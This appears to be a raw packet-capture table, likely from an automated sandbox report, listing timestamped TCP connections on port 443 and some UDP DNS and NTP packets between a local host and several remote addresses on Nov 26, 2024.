Nov 26, 2024 13:45:10.857089043 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.075525999 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.075915098 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.075941086 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.276864052 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.318177938 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.392988920 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.393704891 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.393729925 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.394084930 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.394088984 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.409943104 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.412431002 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.412528992 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.412573099 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.412590981 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.412602901 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.412607908 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.415118933 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.415143967 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.478493929 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.482307911 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.482353926 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.743026972 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.748296976 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.748334885 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.839485884 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.839675903 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.839723110 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.839745045 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.839857101 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.839864016 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.839874983 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.840065956 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.843225002 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.843241930 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.943068981 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:11.968842983 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:11.968888044 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.145097017 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.148350954 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.148391008 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.315547943 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.320091009 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.320133924 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.345561028 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.352034092 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.379754066 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.379905939 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.381622076 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.381640911 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.382016897 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.386044979 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.395337105 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.431334019 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.538156986 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.540894985 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.540940046 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.738986015 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.743858099 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.743900061 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.834454060 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.834551096 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.834639072 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.834912062 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.834932089 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.834943056 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.834949017 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.837829113 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.837836981 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.943978071 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:12.947829008 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:12.947860956 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.068288088 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.071909904 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.071947098 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.188319921 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.191864014 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.191894054 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.307509899 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.310229063 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.310251951 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.427767992 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.430536032 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.430563927 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.552405119 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.555378914 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.555408001 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.672405958 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.689321995 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.689357042 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.950438023 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.953742027 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:13.953764915 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:13.955796003 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.003333092 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.051991940 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.054816008 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.054883957 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.121520042 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.135438919 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.135463953 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.135900021 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.135905981 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.177731991 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.180716991 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.180756092 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.401443958 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.404388905 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.404432058 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.404524088 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.457726955 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.457756042 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.461267948 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.462280035 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.462310076 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.569238901 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.571770906 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.571821928 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.571832895 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.571878910 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.571938992 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.571954966 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.571969986 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.571974039 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.575079918 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.605134964 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.608829021 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.655337095 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.860416889 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.875222921 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.875297070 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.875384092 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.901376009 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.901423931 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.915245056 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.915282965 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.929738045 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:14.929765940 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:14.975244045 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.020215988 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.020253897 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.027271032 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.027287006 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.074563026 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.080802917 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.080827951 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.315867901 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.320332050 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.320368052 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.347592115 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.395337105 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.395363092 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.421506882 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.422683954 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.422714949 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.466289043 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.520315886 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.520347118 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.523854017 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.524621010 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.524643898 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.667531967 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.670311928 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.715348959 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.765947104 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.817094088 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.817127943 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.821016073 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.821033955 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.822182894 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.822191000 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.928189039 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.973354101 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.973382950 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.977488041 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.977507114 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:15.979089975 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:15.979103088 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.048161983 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.102201939 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.102229118 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.111011982 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.111036062 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.170869112 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.174786091 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.174835920 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.174868107 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.187333107 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.187352896 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.188699961 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.188708067 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.371843100 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.426521063 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.426561117 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.437107086 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.437156916 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.471065044 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.520339012 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.520371914 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.532757044 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.533406019 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.533428907 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.587899923 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.591267109 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.591397047 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.593656063 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.635380983 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.788853884 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.812691927 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.812773943 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.884776115 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.927093983 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:16.927162886 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:16.973968983 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:17.050853968 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:17.098958015 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:17.098979950 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:17.145848036 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:17.252393007 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:17.302158117 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:19.180428982 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:19.224035025 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.418642044 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:19.474014044 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.474025965 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:19.474874020 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.474973917 CET	443	49976	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:19.475049019 CET	49976	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.703438044 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.703532934 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:19.703619003 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.703840971 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:19.703876972 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.018887997 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.019227982 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:21.019257069 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.020284891 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.020354986 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:21.020657063 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:21.020720005 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.020884991 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:21.020896912 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:21.067812920 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:27.474838018 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:27.474869013 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:27.475002050 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:27.475256920 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:27.475265980 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:29.216023922 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:29.216399908 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:29.216434002 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:29.216861010 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:29.217202902 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:29.217292070 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:29.271200895 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:38.904243946 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:38.904314041 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:38.904366970 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:39.240467072 CET	50025	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:45:39.240499973 CET	443	50025	142.250.181.68	192.168.2.7
Nov 26, 2024 13:45:51.619420052 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.661446095 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.661473989 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.708307981 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.877067089 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.927229881 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.927251101 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.928457975 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.929312944 CET	443	50024	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.929414034 CET	50024	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.932507992 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.932538986 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:51.932627916 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.933137894 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:51.933147907 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.283272028 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.285888910 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:53.285917997 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.290503025 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.290584087 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:53.291412115 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:53.291604996 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.291866064 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:45:53.291874886 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:45:53.333297968 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:23.721714973 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:23.771476984 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:23.955033064 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:24.005848885 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.005877972 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:24.008115053 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.008233070 CET	443	50026	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:24.008306980 CET	50026	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.513967991 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.514009953 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:24.514182091 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.514333010 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:24.514343977 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.806252003 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.806644917 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:25.806660891 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.807707071 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.807777882 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:25.808154106 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:25.808212042 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.808357000 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:25.808366060 CET	443	50029	52.1.52.84	192.168.2.7
Nov 26, 2024 13:46:25.849603891 CET	50029	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:46:27.537935972 CET	50030	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:46:27.537991047 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:27.538124084 CET	50030	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:46:27.538322926 CET	50030	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:46:27.538342953 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:29.329700947 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:29.329969883 CET	50030	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:46:29.329991102 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:29.330338955 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:29.330614090 CET	50030	443	192.168.2.7	142.250.181.68
Nov 26, 2024 13:46:29.330673933 CET	443	50030	142.250.181.68	192.168.2.7
Nov 26, 2024 13:46:29.380577087 CET	50030	443	192.168.2.7	142.250.181.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 13:43:21.813908100 CET	123	123	192.168.2.7	40.81.94.65
Nov 26, 2024 13:43:22.370433092 CET	123	123	40.81.94.65	192.168.2.7
Nov 26, 2024 13:43:24.317791939 CET	53	65509	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:24.688343048 CET	59238	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:24.688683033 CET	51670	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:24.690080881 CET	58563	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:24.690242052 CET	60652	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:24.830598116 CET	53	59541	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:24.866075039 CET	53	59238	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:24.867002010 CET	53	51670	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:24.902257919 CET	55265	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:25.042438984 CET	53	55265	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:25.245881081 CET	53	58563	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:25.245934010 CET	53	60652	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:27.350573063 CET	57483	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:27.350792885 CET	63343	53	192.168.2.7	1.1.1.1
Nov 26, 2024 13:43:27.490644932 CET	53	57483	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:27.493593931 CET	53	63343	1.1.1.1	192.168.2.7
Nov 26, 2024 13:43:27.661614895 CET	53	56598	1.1.1.1	192.168.2.7
